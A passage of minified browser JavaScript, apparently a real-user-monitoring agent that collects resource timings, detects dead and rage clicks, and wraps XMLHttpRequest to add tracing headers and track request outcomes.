R=Qb[oa];oa=!Zb[oa]&&(!R||!R.count&&0<=R.ad.indexOf(oa))}oa&&x.push.apply(x,Qb[O].ad)}for(;Y<x.length;Y++){var O=Number(x[Y]);R=oa=t[O]||[];var wa=O,Ga=pa;if(!Ga.syn&&Ga.gLVD){var Wa=0;for(wa=Ga.gUI(wa);Wa<wa.length;Wa++){Ga=wa[Wa];for(var Eb=!1,Lb=0,Nb=R;Lb<Nb.length;Lb++){var ac=Nb[Lb];if(!ac.failedResource&&ac.name===Ga.name){ac.failedResource=Ga.failedResource;Eb=!0;break}}Eb||(na(Ga),qa.dT_.apush(R,Ga))}}y.push({resources:oa,actionId:O});delete Qb[O]}return y} function ib(t){t&&Q();t=qa.dT_.aFr(Array.prototype.concat(va(),ja(),Ba),Ka);var y=qa.dT_.red(Array.prototype.concat(Array.prototype.slice.call(document.scripts),Array.prototype.slice.call(document.styleSheets)),U,{});t=qa.dT_.red(t,function(Y,x){var oa=x.actionId,R=Y[oa];R||(R=[]);var O=y[x.name];if(O){var wa=Number;if(O&&"LINK"===O.nodeName){var Ga=O.media||"all";O="stylesheet"===O.rel&&window.matchMedia(Ga).matches&&!O.disabled}else O=!O.hasAttribute("async")&&!O.hasAttribute("defer")&&"module"!== O.getAttribute("type");x.isCritical=wa(O)}na(x);R.push(x);Y[oa]=R;I[db(x)]=!0;return Y},{});t=Hb(t);900<Vb.call(Ab,"resource").length&&(ab(),I={},ka={},$a={},Ba=[],ca={});return t}function aa(){var t=pa;t.gSig=ib;t.gFU=ta}var qa="undefined"!==typeof window?window:self,V="undefined"!==typeof window?window:self,pa,Va,nb,lb,jb,Ab,gc,Vb,Ha,yb,vb,ca={},Oa=[],Za={},I={},ka={},Ba=[],$a={},Cb="connectEnd connectStart domainLookupEnd domainLookupStart fetchStart redirectEnd redirectStart requestStart responseEnd responseStart secureConnectionStart startTime workerStart".split(" "), bd="name duration transferSize decodedBodySize encodedBodySize entryType initiatorType nextHopProtocol serverTiming transferSize".split(" "),Qb={},Zb={},q=[],D="_error_ _ts_ _code_ _debug_ _emu_ _location_ _stack_ _useraction_ _type_ _log_ _rs_ _rv_ _endVisit_ - _t_".split(" ");(function(t){var y,Y,x=V.dT_;if(!x||null===(Y=(y=qa.dT_).ssmbi)||void 0===Y||!Y.call(y,"r",t,!0))return!1;if(V.Sh)return x.re_r=!1;Ua();x.re_r=ba();if(!x.re_r)return!1;W();Za={};Oa=[];ca={};I={};ka={};$a={};Ba=[];za(function(){Ba= ja()});qa.dT_.addE("VISUALLY_COMPLETE",Z);return!0})(!1)&&aa()})()})(); (function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(ib){S.dT_.addE&&S.dT_.addE("CONFIG_UPDATE",ib)}function La(){(ja=S.dT_.bcv("uxdce"))&&(U=S.dT_.ncv("uxdcw"))}function gb(){(L=S.dT_.aO("deadClickObserver",Ua))&&L.observe(document.documentElement,{childList:!0,attributes:!0,characterData:!0,subtree:!0});L&&(S.dT_.aBPSL(Ea),S.dT_.ael(document,"click",db),H=!0)}function db(){var ib=S.dT_.nw();S.dT_.st(function(){eb< ib&&(C.push({time:Math.round(ib)}),S.dT_.sMPS(2E3))},U)}function Ea(ib,aa,qa,V){if(0!==C.length){aa=ib.av;qa=C;for(var pa=[],Va=0;Va<qa.length;Va++)pa.push(qa[Va].time.toFixed());aa.call(ib,V,"dC",pa.join(","),!0);C=[]}}function Ua(ib){for(var aa=ib.length;aa--;){var qa=ib[aa].target,V=qa,pa=void 0,Va=V,nb=9;void 0===nb&&(nb=[]);var lb=va.dT_;if(lb=(!(null===(pa=(null===lb||void 0===lb?0:lb.iIO)?lb.iIO:null)||void 0===pa||!pa(Va,nb))||V&&V.nodeType&&1===V.nodeType)&&("string"===typeof V.textContent|| "string"===typeof V.innerText))qa=qa.getBoundingClientRect(),lb=!(0>qa.right||qa.left>(window.innerWidth||document.documentElement.clientWidth)||0>qa.bottom||qa.top>(window.innerHeight||document.documentElement.clientHeight));if(lb){eb=S.dT_.nw();break}}}function Pa(){La();ja&&!H?gb():!ja&&H&&(S.dT_.rBPSL(Ea),S.dT_.rO("deadClickObserver"),S.dT_.rel(document,"click",db,void 0),C=[],H=!1,eb=-1)}function za(){if(Q=S.dT_.bcv("uxrgce")){var ib=S.dT_.scv("uxrgcm").split(";"),aa=ib[1];ia=ab(ib[0]);ab(aa)}} function ab(ib){ib=ib.split(",");return{aj:Number(ib[0])||100,jj:Number(ib[1])||25,Ji:Number(ib[2])||300,Fi:Number(ib[3])||3}}function ba(ib){return{x:ib.x||ib.clientX,y:ib.y||ib.clientY,timeStamp:S.dT_.nw()}}function Z(){S.dT_.iMD()||(S.dT_.aBPSL(ta),S.dT_.ael(document,"click",na),S.dT_.ael(document,"mousedown",Aa),W=!0)}function Aa(ib){ua=ba(ib)}function na(ib){ib=ba(ib);if(0===Ka.length)Ka.push(ib);else{var aa=Ka[0],qa=Ka[Ka.length-1];if(qa=ib&&qa?ib.timeStamp-qa.timeStamp<=ia.Ji:!1)qa=ia.jj,qa= Math.abs(aa.x-ib.x)<=qa&&Math.abs(aa.y-ib.y)<=qa;qa&&ib&&ua&&ib.timeStamp-ua.timeStamp<=ia.aj?(Ka.push(ib),Ma()):(Ka.length>=ia.Fi&&Ja(),Ka=[ib])}}function ta(ib,aa,qa,V){if(0!==Hb.length){aa=ib.av;qa=Hb;for(var pa=[],Va=0;Va<qa.length;Va++){var nb=qa[Va];pa.push(nb.bj+"|"+nb.Gi.toFixed()+"|"+nb.duration.toFixed())}aa.call(ib,V,"rC",pa.join(","),!0);Hb=[]}}function Ma(){S.dT_.ct(la);la=S.dT_.st(function(){Ka.length>=ia.Fi&&Ja()},ia.Ji)}function Ja(){var ib=Ka[0];ib={bj:Ka.length,Gi:Math.round(ib.timeStamp), duration:Math.round(Ka[Ka.length-1].timeStamp-ib.timeStamp)};0<ib.Gi&&0<ib.duration&&(Hb.push(ib),S.dT_.sMPS(2E3));Ka=[]}function fa(){za();Q&&!W?Z():!Q&&W&&(S.dT_.rBPSL(ta),S.dT_.rel(document,"click",na,void 0),S.dT_.rel(document,"mousedown",Aa,void 0),Ka=[],Hb=[],W=!1)}var S="undefined"!==typeof window?window:self,va="undefined"!==typeof window?window:self,ja,U,eb=-1,L,C=[],H=!1,Q,ia,W=!1,la,ua,Ka=[],Hb=[];(function(){var ib,aa;return va.dT_&&(null===(aa=(ib=S.dT_).smbi)||void 0===aa?void 0:aa.call(ib, "u"))})()&&(za(),Q&&Z(),ra(fa),La(),ja&&gb(),ra(Pa))})()})(); (function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(){if(!ra.hasCache){ra.hasCache=!0;var q=void 0;if("defineProperty"in Object){var D={Me:41};try{Object.defineProperty(D,"Z",{get:function(){return this.Me},set:function(t){this.Me=t}}),D.Z=42,q=42===D.Me}catch(t){q=!1}}else q=!1;ra.cachedVal=q}return!!ra.cachedVal}function La(q,D,t){if(t||2===arguments.length)for(var y=0,Y=D.length,x;y<Y;y++)!x&&y in D||(x||(x=Array.prototype.slice.call(D,0,y)),x[y]=D[y]);return q.concat(x||Array.prototype.slice.call(D))}function gb(){}function db(q){var D=!1;try{D=!V.dT_.iNF(q)}catch(Y){}if(!D)for(var t=0,y=Ab;t<y.length&&!(D=(D=q.prototype[y[t]])&&!V.dT_.iNF(D));t++);return D?(V.dT_.addE("DEBUG_INFO_REQUESTED",function(){return{type:"lxw",text:"Found a non-native XMLHttpRequest object before initializing! Basic XHR is operating in late mode.",severity:"Warning"}}),!0):!1}function Ea(q){if(!ra()){var D=q.dtProps; try{a:{var t=D.I,y=D.ba,Y=t.responseXML;if(ca){var x=t.getResponseHeader("Content-Type");if(pa.ActiveXObject&&Y&&!Y.documentElement&&x&&x.match(/[^\/]+\/[^+]+\+xml/)){var oa=new pa.ActiveXObject("Microsoft.XMLDOM");oa.loadXML&&oa.loadXML(t.responseText);var R=oa.parseError;if(R&&0!==R.errorCode||oa.documentElement&&"parsererror"===oa.documentElement.tagName){if(V.dT_.mx())try{V.dT_.mxp(R?R.reason:"",y)}catch(wa){}var O=Y;break a}Y=oa}}O=Y}q.responseXML=O}catch(wa){}O=0;for(t=lb;O<t.length;O++){y= t[O];try{"responseXML"!==y&&y in D.I&&(q[y]=D.I[y])}catch(wa){}}}}function Ua(q,D){q=q.dtProps.Ea;var t=[];D=D.substring(2);for(var y=0;y<q.length;y++){var Y=q[y];Y[0]===D&&t.push(Y[1])}return t}function Pa(q,D,t){function y(O){function wa(Ga,Wa){try{t?(V.dT_.ec(t.dtProps.ba),t.dtProps.za++):(V.dT_.ec(q.dtProps.ba),q.dtProps.za++,O in{onerror:0,onload:1,onprogress:2}&&Ea(q)),"object"===typeof Wa&&Wa.handleEvent?Za.handleEventCallback(Wa.handleEvent,Wa,Ga):Za.handleEventCallback(Wa,q,Ga)}finally{t? (t.dtProps.za--,V.dT_.lc(t.dtProps.ba)):(q.dtProps.za--,V.dT_.lc(q.dtProps.ba))}}try{D[O]=function(Ga){var Wa=Array.prototype.slice.call(arguments);if(0<Wa.length){var Eb=ab(Ga,q);V.dT_.fE(Va,function(rc){"undefined"!==typeof Ga[rc]&&(Eb[rc]=Ga[rc])});Wa[0]=Eb}var Lb=q.dtProps;if(V.dT_.mx()&&O in Y)Y[O](Lb.ba);var Nb=Lb[O]||Oa&&q[O];Nb&&wa(Wa,Nb);Nb=0;for(var ac=Ua(q,O);Nb<ac.length;Nb++)wa(Wa,ac[Nb]);ca&&"ontimeout"===O&&V.dT_.st(function(){Lb.uc&&1===Lb.hc&&V.dT_.lx(Lb.ba,void 0,void 0,void 0,"x")}, 0)}}catch(Ga){}}for(var Y={onerror:function(){t?V.dT_.mxg("Upload failure",t.dtProps.ba):V.dT_.mxf(q.dtProps.I.status,q.dtProps.I.statusText,q.dtProps.ba)},onabort:V.dT_.mxc,ontimeout:V.dT_.mxt},x=0,oa=nb;x<oa.length;x++){var R=oa[x];try{if(R in D||Oa&&R in q)V.dT_.bcv("raxeh")?y(R):(Ua(q,R).length||q[R])&&y(R)}catch(O){}}}function za(q,D,t){Object.defineProperty(q,D,{enumerable:!0,get:t})}function ab(q,D){var t=q.timeStamp||V.dT_.nw(),y="undefined"===typeof q.eventPhase?2:q.eventPhase,Y=q.stopPropagation|| gb,x=q.stopImmediatePropagation||gb,oa=q.preventDefault||gb,R=q.initEvent||gb;if(ra())try{var O=document.createEvent("Event");O.initEvent(q.type,q.bubbles||!1,q.cancelable||!1);za(O,"target",function(){return D});za(O,"currentTarget",function(){return D});za(O,"srcElement",function(){return D});za(O,"eventPhase",function(){return y});za(O,"timeStamp",function(){return t});za(O,"stopPropagation",function(){return Y});za(O,"stopImmediatePropagation",function(){return x});za(O,"preventDefault",function(){return oa}); za(O,"initEvent",function(){return R});return O}catch(wa){}return{type:q.type,target:D,currentTarget:D,srcElement:D,eventPhase:y,bubbles:q.bubbles||!1,cancelable:q.cancelable||!1,timeStamp:t,stopPropagation:Y,stopImmediatePropagation:x,preventDefault:oa,initEvent:R}}function ba(q,D){try{var t=V.dT_.gPO(q),y=V.dT_.gPO(q.dtProps.I);y||(y=vb.prototype);return!t||!y||"__dtProto"in t[D]?null:t[D]}catch(Y){return null}}function Z(q){return V.dT_.iIO(q,["dtProps"])}function Aa(q){q.UNSENT=0;q.OPENED=1;q.HEADERS_RECEIVED= 2;q.LOADING=3;q.DONE=4}function na(q){if(ra())"upload"===q?Object.defineProperty(pa.XMLHttpRequest.prototype,"upload",{enumerable:!0,configurable:!0,get:function(){if(!this.dtProps.Kc)return vb.prototype.upload;this.dtProps.upload||(this.dtProps.upload=new I(this));return this.dtProps.upload}}):Object.defineProperty(pa.XMLHttpRequest.prototype,q,{enumerable:!0,configurable:!0,get:function(){return this.dtProps.Kc?0<=V.dT_.aIOf(lb,q)?this.dtProps.I[q]:this.dtProps[q]:vb.prototype[q]},set:function(D){this.dtProps.Kc? this.dtProps[q]=D:vb.prototype[q]=D}});else try{pa.XMLHttpRequest.prototype[q]=void 0}catch(D){}}function ta(q,D){var t=pa.XMLHttpRequest.prototype[q];if(D||V.dT_.iNF(t))pa.XMLHttpRequest.prototype[q]=function(y,Y){function x(){if(Z(this)){"open"!==y||this.dtProps.url||(this.dtProps.url=arguments[1]+"");this.dtProps.I.withCredentials!==this.dtProps.withCredentials&&(this.dtProps.I.withCredentials=this.dtProps.withCredentials);var oa=this.dtProps.I}else oa=this;return Za.XMLHttpRequestCallback(Y,oa, arguments)}x.__dtProto=!0;return x}(q,vb.prototype[q])}function Ma(){vb=pa.XMLHttpRequest;ca=11>V.dT_.gBI().ie;yb=Zb.ct||clearTimeout;if(pa.XMLHttpRequest&&(pa.XMLHttpRequest=Ba,vb.prototype)){Oa=db(vb);if(Object.create){var q=Object,D=q.create,t=vb.prototype;var y=vb.prototype;if(Object.getOwnPropertyDescriptors)y=Object.getOwnPropertyDescriptors(y);else{for(var Y={},x=0,oa=Object.getOwnPropertyNames(y);x<oa.length;x++){var R=oa[x],O=Object.getOwnPropertyDescriptor(y,R);O&&(Y[R]=O)}y=Y}Ba.prototype= D.call(q,t,y)}else Ba.prototype.__proto__=V.dT_.gPO(vb.prototype);Ba.prototype.dtProps={Kc:!1};Ba.prototype.dtProps.Kc=!1;Aa(Ba);Aa(Ba.prototype);for(var wa in vb.prototype)if(-1===V.dT_.aIOf(gc,wa))try{-1!==V.dT_.aIOf(Ab,wa)?ta(wa,!0):-1!==V.dT_.aIOf(jb,wa)?na(wa):pa.XMLHttpRequest.prototype[wa]=vb.prototype[wa]}catch(Wa){na(wa)}for(var Ga in vb)if(!(Ga in vb.prototype))try{pa.XMLHttpRequest[Ga]=vb[Ga]}catch(Wa){}try{Ja()}catch(Wa){}}V.dT_.ael(pa,"unload",fa)}function Ja(){if(!V.dT_.bcv("peti")){if(pa.EventTarget)var q= EventTarget.prototype;q&&q.addEventListener||!pa.XMLHttpRequestEventTarget||(q=V.dT_.gPO(pa.XMLHttpRequestEventTarget.prototype));q&&q.addEventListener||(q=XMLHttpRequest.prototype);if(q&&q.addEventListener){var D=q.addEventListener;q.addEventListener=function(Y,x,oa){if(Z(this))this.dtProps.mf(Y,x,oa);else return Za.AELWrapper(D,this,arguments)};var t=q.removeEventListener;q.removeEventListener=function(Y,x,oa){if(Z(this))this.dtProps.og(Y,x,oa);else return Za.RELWrapper(t,this,arguments)};var y= q.dispatchEvent;q.dispatchEvent=function(Y){return Z(this)?this.dtProps.Zd(Y):Za.dispatchWrapper(y,this,arguments)}}}}function fa(){pa.XMLHttpRequest=vb;vb=null;ca=!1;yb=void 0;Oa=!1}function S(q,D){return new $a(q,D)}function va(q){return"string"===typeof q}function ja(q){q.ne||(V.dT_.lx(q.G,q.url,!0,void 0,"x"),q.ne=!0)}function U(q){var D=q.G,t=q.url;return Zb.aWF(q.Da,q.context,q.Pa,void 0===D?0:D,void 0===t?"":t,"x")}function eb(q,D,t){return function(){for(var y=[],Y=0;Y<arguments.length;Y++)y[Y]= arguments[Y];Y=q.G;var x=q.url;try{if(V.dT_.ec(Y),"function"===typeof D)return U({Da:D,context:t,Pa:y,G:Y,url:x})}finally{V.dT_.lc(Y),ja(q)}}}function L(q,D,t){return{get:function(){return t||q[D]},enumerable:!0}}function C(q,D,t,y){return function(){for(var Y=[],x=0;x<arguments.length;x++)Y[x]=arguments[x];try{V.dT_.ec(q.G);var oa=Y[0],R=document.createEvent("Event");R.initEvent(oa.type,oa.bubbles,oa.cancelable);var O=L(oa,"target",y);Object.defineProperties(R,{target:O,currentTarget:O,srcElement:O, stopPropagation:L(oa,"stopPropagation",function(){for(var wa=[],Ga=0;Ga<arguments.length;Ga++)wa[Ga]=arguments[Ga];Event.prototype.stopPropagation.apply(oa,wa);return Event.prototype.stopPropagation.apply(R,wa)}),stopImmediatePropagation:L(oa,"stopImmediatePropagation",function(){for(var wa=[],Ga=0;Ga<arguments.length;Ga++)wa[Ga]=arguments[Ga];Event.prototype.stopImmediatePropagation.apply(oa,wa);return Event.prototype.stopImmediatePropagation.apply(R,wa)}),preventDefault:L(oa,"preventDefault",function(){for(var wa= [],Ga=0;Ga<arguments.length;Ga++)wa[Ga]=arguments[Ga];Event.prototype.preventDefault.apply(oa,wa);return Event.prototype.preventDefault.apply(R,wa)}),eventPhase:L(oa,"eventPhase","undefined"===typeof oa.eventPhase?2:void 0),timeStamp:L(oa,"timeStamp",oa.timeStamp||V.dT_.nw()),initEvent:L(oa,"initEvent")});Y[0]=R;if("function"===typeof D)return U({Da:D,context:oa.target,Pa:Y,G:q.G,url:q.url})}finally{V.dT_.lc(q.G)}}}function H(q,D,t){return function(){for(var y=[],Y=0;Y<arguments.length;Y++)y[Y]=arguments[Y]; try{if(V.dT_.ec(q.G),t.readyState===t.DONE&&V.dT_.mx()&&200!==t.status&&(0===t.status?V.dT_.st(V.dT_.mxc.bind(null,q.G),0):V.dT_.mxf(t.status,t.statusText,q.G)),"function"===typeof D)return U({Da:D,context:t,Pa:y,G:q.G,url:q.url})}finally{V.dT_.lc(q.G),t.readyState===t.DONE&&ja(q)}}}function Q(q,D){try{if("string"===typeof D&&"function"===typeof q[D]){var t=V.dT_.iNF(q[D]);q[D]=S(q[D],{apply:la.bind(null,D,t),get:function(y,Y,x){return"dT_proxy"===Y?!0:Reflect.get(y,Y,x)}})}}catch(y){}}function ia(q, D){q.filter(ua.bind(null,D)).forEach(Q.bind(null,D))}function W(q,D,t,y,Y){q.G||(q.G=V.dT_.ex("x",void 0,q.url,!1,D));var x=V.dT_.sch({headers:{}},q.url,q.G);Reflect.ownKeys(x.headers).filter(va).forEach(function(oa){t.setRequestHeader(oa,x.headers[oa])});try{return U({Da:D,context:y,Pa:Y,G:q.G,url:q.url})}finally{q.async||ja(q)}}function la(q,D,t,y,Y){if(!V.dT_.iIO(y,22))return U({Da:t,context:y,Pa:Y});var x=y.dtProps,oa=y;x&&(D||Cb)&&(oa=x.target);if(!x)return U({Da:t,context:oa,Pa:Y});switch(D? t.name:q){case "addEventListener":"function"===typeof Y[1]&&(q=Y[1],q.dT_cb?Y[1]=q.dT_cb:(Y[1]=C(x,q,oa,y),q.dT_cb=Y[1]));break;case "removeEventListener":y=Y[1];if(null===y||void 0===y?0:y.dT_cb)Y[1]=y.dT_cb;break;case "open":return x.G=0,x.ne=!1,x.url=Y[1],x.async=!0===Y[2]||void 0===Y[2],U({Da:t,context:oa,Pa:Y});case "send":return W(x,t,y,oa,Y);case "abort":ja(x)}return U({Da:t,context:oa,Pa:Y,G:x.G,url:x.url})}function ua(q,D){try{var t=q[D];if("function"!==typeof t||t.dT_proxy)return!1}catch(y){return!1}return!0} function Ka(q){return"constructor"!==q}function Hb(q,D,t){"upload"===D&&V.dT_.mx()&&!t.Tf&&(q.upload.addEventListener("error",function(){V.dT_.mxg("Upload failure",t.G)}),t.Tf=!0);return t.Mc.has(D)?t.Mc.get(D):Reflect.get(q,D)}function ib(q,D,t){try{EventTarget.prototype.addEventListener.call(q,D,t)}catch(y){q.addEventListener(D,t)}}function aa(q){var D={G:0,async:!0,ne:!1,url:"",target:q,xj:!1,Tf:!1,Mc:new Map,toString:function(){return"[Custom DTProperty Object]"},toJSON:function(){return"[Custom DTProperty Object]"}}; q.dtProps=D;ib(q,"readystatechange",H(D,function(){},q));V.dT_.mx()&&(ib(q,"error",function(){return V.dT_.mxf(q.status,q.statusText,D.G)}),ib(q,"abort",function(){return V.dT_.mxc(D.G)}),ib(q,"timeout",function(){return V.dT_.mxt(D.G)}));return S(q,{get:function(t,y){return Hb(t,y,D)},set:function(t,y,Y,x){try{var oa=Y;switch(y){case "onabort":case "onerror":case "ontimeout":oa=eb(D,Y,t);D.Mc.set(y,Y);break;case "onloadstart":case "onprogress":case "onload":case "onloadend":oa=C(D,Y,t,x);D.Mc.set(y, Y);break;case "onreadystatechange":oa=H(D,Y,t),D.Mc.set(y,Y)}var R=Reflect.set(t,y,oa)}catch(O){R=!1}return R}})}function qa(){Cb=db(pa.XMLHttpRequest);$a=pa.Proxy;var q=pa.XMLHttpRequest.prototype,D=EventTarget.prototype,t=Reflect.ownKeys(q).filter(va).filter(Ka),y=Reflect.ownKeys(D).filter(va).filter(Ka);pa.XMLHttpRequest=S(pa.XMLHttpRequest,{construct:function(Y,x){ia(t,q);ia(y,D);return aa(Reflect.construct(Y,x))}});ia(t,q);q.constructor=pa.XMLHttpRequest;ia(y,D)}var V="undefined"!==typeof window? window:self,pa="undefined"!==typeof window?window:self,Va="cancelBubble defaultPrevented eventPhase isTrusted lengthComputable loaded position returnValue timeStamp total totalSize type".split(" "),nb="onabort onerror onload onloadend onloadstart onprogress ontimeout".split(" "),lb="responseText response status statusText responseBody responseStream responseURL responseXML responseType".split(" "),jb=La(La(La([],lb,!0),nb,!0),["onreadystatechange","upload","readyState"],!1),Ab="open send getAllResponseHeaders getResponseHeader setRequestHeader overrideMimeType abort sendAsBinary".split(" "), gc=["addEventListener","removeEventListener","dispatchEvent"],Vb=La(La(La([],Ab,!0),jb,!0),gc,!0),Ha,yb,vb,ca,Oa=!1,Za=(Ha={},Ha.handleEventCallback=function(q,D,t){return Zb.aWF(q,D,t)},Ha.callOpen=function(q,D,t){return Zb.aWF(q,D,t)},Ha.send=function(q,D,t){return Zb.aWF(q,D,t)},Ha.getAllResponseHeaders=function(q,D,t){return Zb.aWF(q,D,t)},Ha.getResponseHeader=function(q,D,t){return Zb.aWF(q,D,t)},Ha.setRequestHeader=function(q,D,t){return Zb.aWF(q,D,t)},Ha.overrideMimeType=function(q,D,t){return Zb.aWF(q, D,t)},Ha.RELWrapper=function(q,D,t){return Zb.aWF(q,D,t)},Ha.AELWrapper=function(q,D,t){return Zb.aWF(q,D,t)},Ha.dispatchWrapper=function(q,D,t){return Zb.aWF(q,D,t)},Ha.onreadystatechangeCallback=function(q,D,t){return Zb.aWF(q,D,t)},Ha.dispatchXHRCallback=function(q,D,t){return Zb.aWF(q,D,t)},Ha.XMLHttpRequestCallback=function(q,D,t){return Zb.aWF(q,D,t)},Ha.preventDefault=function(q,D,t){return Zb.aWF(q,D,t)},Ha.stopImmediatePropagation=function(q,D,t){return Zb.aWF(q,D,t)},Ha),I=function(){function q(D){var t= this;if(t.constructor){var y=q;ra()&&Object.defineProperty(t,"constructor",{get:function(){return y},set:function(oa){y=oa}})}t.dtProps={Ea:[],ig:D.dtProps.I.upload,jg:D,jd:!1};var Y=t.dtProps;D=0;for(var x=nb;D<x.length;D++)(function(oa){Object.defineProperty(t,oa,{enumerable:!0,get:function(){return Y[oa]},set:function(R){Y[oa]=R;Y.jd||(Y.jd=!0,Pa(t,Y.ig,Y.jg))}})})(x[D]);t.addEventListener=function(oa,R,O){if(R){for(var wa=Y.Ea,Ga=0;Ga<wa.length;Ga++){var Wa=wa[Ga];if(Wa[0]===oa&&Wa[1]===R&&Wa[2]=== O)return}wa.push([oa,R,!!O]);Y.jd||(Y.jd=!0,Pa(t,Y.ig,Y.jg))}};t.removeEventListener=function(oa,R,O){for(var wa,Ga=Y.Ea,Wa=0;Wa<Ga.length;Wa++)if(wa=Ga[Wa],wa[0]===oa&&wa[1]===R&&wa[2]===O){Ga.splice(Wa,1);break}};t.dispatchEvent=function(oa){var R=Y.Ea,O=!1,wa=!1;if(oa.cancelable&&oa.preventDefault){var Ga=oa.preventDefault;oa.preventDefault=function(){O=!0;return Za.preventDefault(Ga,this,arguments)}}if(oa.stopImmediatePropagation){var Wa=oa.stopImmediatePropagation;oa.stopImmediatePropagation= function(){wa=!0;return Za.stopImmediatePropagation(Wa,this,arguments)}}for(var Eb=0;Eb<R.length;Eb++){var Lb=R[Eb];wa||Lb[0]!==oa.type||Lb[2]||("object"===typeof Lb[1]&&Lb[1].handleEvent?Za.dispatchXHRCallback(Lb[1].handleEvent,Lb[1],[oa]):Za.dispatchXHRCallback(Lb[1],t,[oa]))}return!O}}q.prototype.toString=function(){return"[XMLHttpRequestUpload]"};return q}(),ka={readyState:0,response:"",responseText:"",responseType:"",responseURL:"",status:0,statusText:"",timeout:0,withCredentials:!1},Ba=function(){function q(D){function t(R){if(-1=== V.dT_.aIOf(lb,R)&&(!V.dT_.oHOP(x.I,R)||V.dT_.oHOP(y,R)))return Oa&&-1!==V.dT_.aIOf(Ab,R)&&ta(R,!1),"continue";if(ra())if("upload"===R)Object.defineProperty(y,"upload",{enumerable:!0,get:function(){x.upload||(x.upload=new I(y));return x.upload}});else{try{x[R]=x.I[R]}catch(wa){}Object.defineProperty(y,R,{enumerable:!0,get:function(){return 0<=V.dT_.aIOf(lb,R)?x.I[R]:"undefined"===typeof x[R]?ka[R]:x[R]},set:function(wa){x[R]=wa}})}else try{y[R]=x.I[R]}catch(wa){var O=ka[R];y[R]="undefined"!==typeof O? O:null}}var y=this;if(y.constructor){var Y=q;ra()&&Object.defineProperty(y,"constructor",{get:function(){return Y},set:function(R){Y=R}})}y.dtProps={Kc:!0,ba:0,Ea:[],url:"",aborted:!1,za:0,async:void 0,Ib:void 0,I:arguments.length?new vb(D):new vb,uc:!1,hc:-1,Gb:-1,Be:[],sb:null,ke:!1,Ab:function(){y.readyState=x.I.readyState;if(y.readyState!==x.hc||100<V.dT_.nw()-x.Gb){for(var R=0,O=x.Be;R<O.length;R++)yb(O[R]);x.Be=[];Ea(y);4===y.readyState&&x.Xd();x.mg();x.Gb=V.dT_.nw()}else x.Be.push(V.dT_.st(x.Ab, 100));x.hc=y.readyState},yf:function(R,O){x.I.onreadystatechange!==x.Ab&&(x.I.onreadystatechange=x.Ab);x.ba=y.__dtFrameworks__?0:V.dT_.ex("x",void 0,x.url,void 0,y,!1,Oa);try{x.async&&(x.I.timeout=y.timeout)}catch(Lb){}try{x.async&&(x.I.responseType=y.responseType)}catch(Lb){}x.Ah();var wa={};wa=V.dT_.sch(wa,x.url,x.ba);for(var Ga in wa.headers)V.dT_.oHOP(wa.headers,Ga)&&x.I.setRequestHeader(Ga,wa.headers[Ga]);x.I.withCredentials!==y.withCredentials&&(x.I.withCredentials=y.withCredentials);wa=!0; ca&&!x.uc&&x.mg();try{if(O&&x.I.sendAsBinary)var Wa=x.I.sendAsBinary.apply(x.I,R);else{var Eb=ba(y,"send");Wa=Eb?Za.send(Eb,y,R):x.I.send.apply(x.I,R)}wa=!1}finally{Ea(y),wa&&V.dT_.lx(x.ba,void 0,void 0,void 0,"x")}!x.async&&y.readyState&&x.ba&&V.dT_.lx(x.ba,void 0,void 0,void 0,"x");return Wa},Ah:function(){x.Ib&&(yb(x.Ib),x.Ib=void 0);x.ke||(Pa(y,x.I),x.ke=!0)},Xd:function(){x.I.onreadystatechange=null;x.Mh();x.Oh()},Lh:function(){x.sb||(x.sb=function(){x.sb&&(x.sb=null,x.Xd(),y.abort())},V.dT_.ael(pa, "unload",x.sb))},Oh:function(){x.sb&&(V.dT_.rel(pa,"unload",x.sb),x.sb=null)},Mh:function(){x.Ib||(x.Ib=V.dT_.st(x.Nh,0))},Nh:function(){if(x.Ib){x.Ib=void 0;x.ke=!1;for(var R=x.I,O=0,wa=nb;O<wa.length;O++){var Ga=wa[O];try{Ga in R&&(R[Ga]=null)}catch(Wa){}}}},mf:function(R,O,wa){void 0===wa&&(wa=!1);for(var Ga=0,Wa=x.Ea;Ga<Wa.length;Ga++){var Eb=Wa[Ga];if(Eb[0]===R&&Eb[1]===O&&Eb[2]===wa)return}x.Ea.push([R,O,wa])},og:function(R,O,wa){void 0===wa&&(wa=!1);for(var Ga,Wa=0;Wa<x.Ea.length;Wa++)if(Ga= x.Ea[Wa],Ga[0]===R&&Ga[1]===O&&Ga[2]===wa){x.Ea.splice(Wa,1);break}},Zd:function(R){var O=!1,wa=!1;if(R.cancelable&&R.preventDefault){var Ga=R.preventDefault;R.preventDefault=function(){O=!0;return Za.preventDefault(Ga,this,arguments)}}if(R.stopImmediatePropagation){var Wa=R.stopImmediatePropagation;R.stopImmediatePropagation=function(){wa=!0;return Za.stopImmediatePropagation(Wa,this,arguments)}}R=ab(R,y);"readystatechange"!==R.type||ca&&x.uc&&1===y.readyState||("undefined"!==typeof x.onreadystatechange? x.onreadystatechange&&(x.uc=!0,Za.onreadystatechangeCallback(x.onreadystatechange,y,[R])):!ra()&&y.onreadystatechange&&(x.uc=!0,Za.onreadystatechangeCallback(y.onreadystatechange,y,[R])));for(var Eb=0,Lb=x.Ea;Eb<Lb.length;Eb++){var Nb=Lb[Eb];wa||Nb[0]!==R.type||Nb[2]||("object"===typeof Nb[1]&&Nb[1].handleEvent?Za.dispatchXHRCallback(Nb[1].handleEvent,Nb[1],[R]):Za.dispatchXHRCallback(Nb[1],y,[R]))}return!O},mg:function(){var R=x.ba;try{V.dT_.ec(R,y.readyState),x.za++,x.Zd({type:"readystatechange", bubbles:!1,cancelable:!1,timeStamp:V.dT_.nw()})}finally{if(x.za--,V.dT_.lc(R),4===y.readyState&&R){var O=0,wa="Aborted";try{O=y.status,wa=y.statusText}catch(Ga){}200!==O&&V.dT_.mx()&&(0===O?V.dT_.st(function(){V.dT_.mxc(R)},0):V.dT_.mxf(O,wa,R));V.dT_.lx(R,x.url,!0,void 0,"x");x.ba=0}}},toString:function(){return"[Custom DTProperty Object]"},toJSON:function(){return"[Custom DTProperty Object]"}};var x=y.dtProps;y.readyState=0;Aa(y);try{Object.defineProperty(x,"responseType",{get:function(){return x.I.responseType}, set:function(R){x.I.responseType=R}})}catch(R){}for(var oa in x.I)t(oa);x.Gb=V.dT_.nw();Ea(y);y.onreadystatechange=null;"withCredentials"in 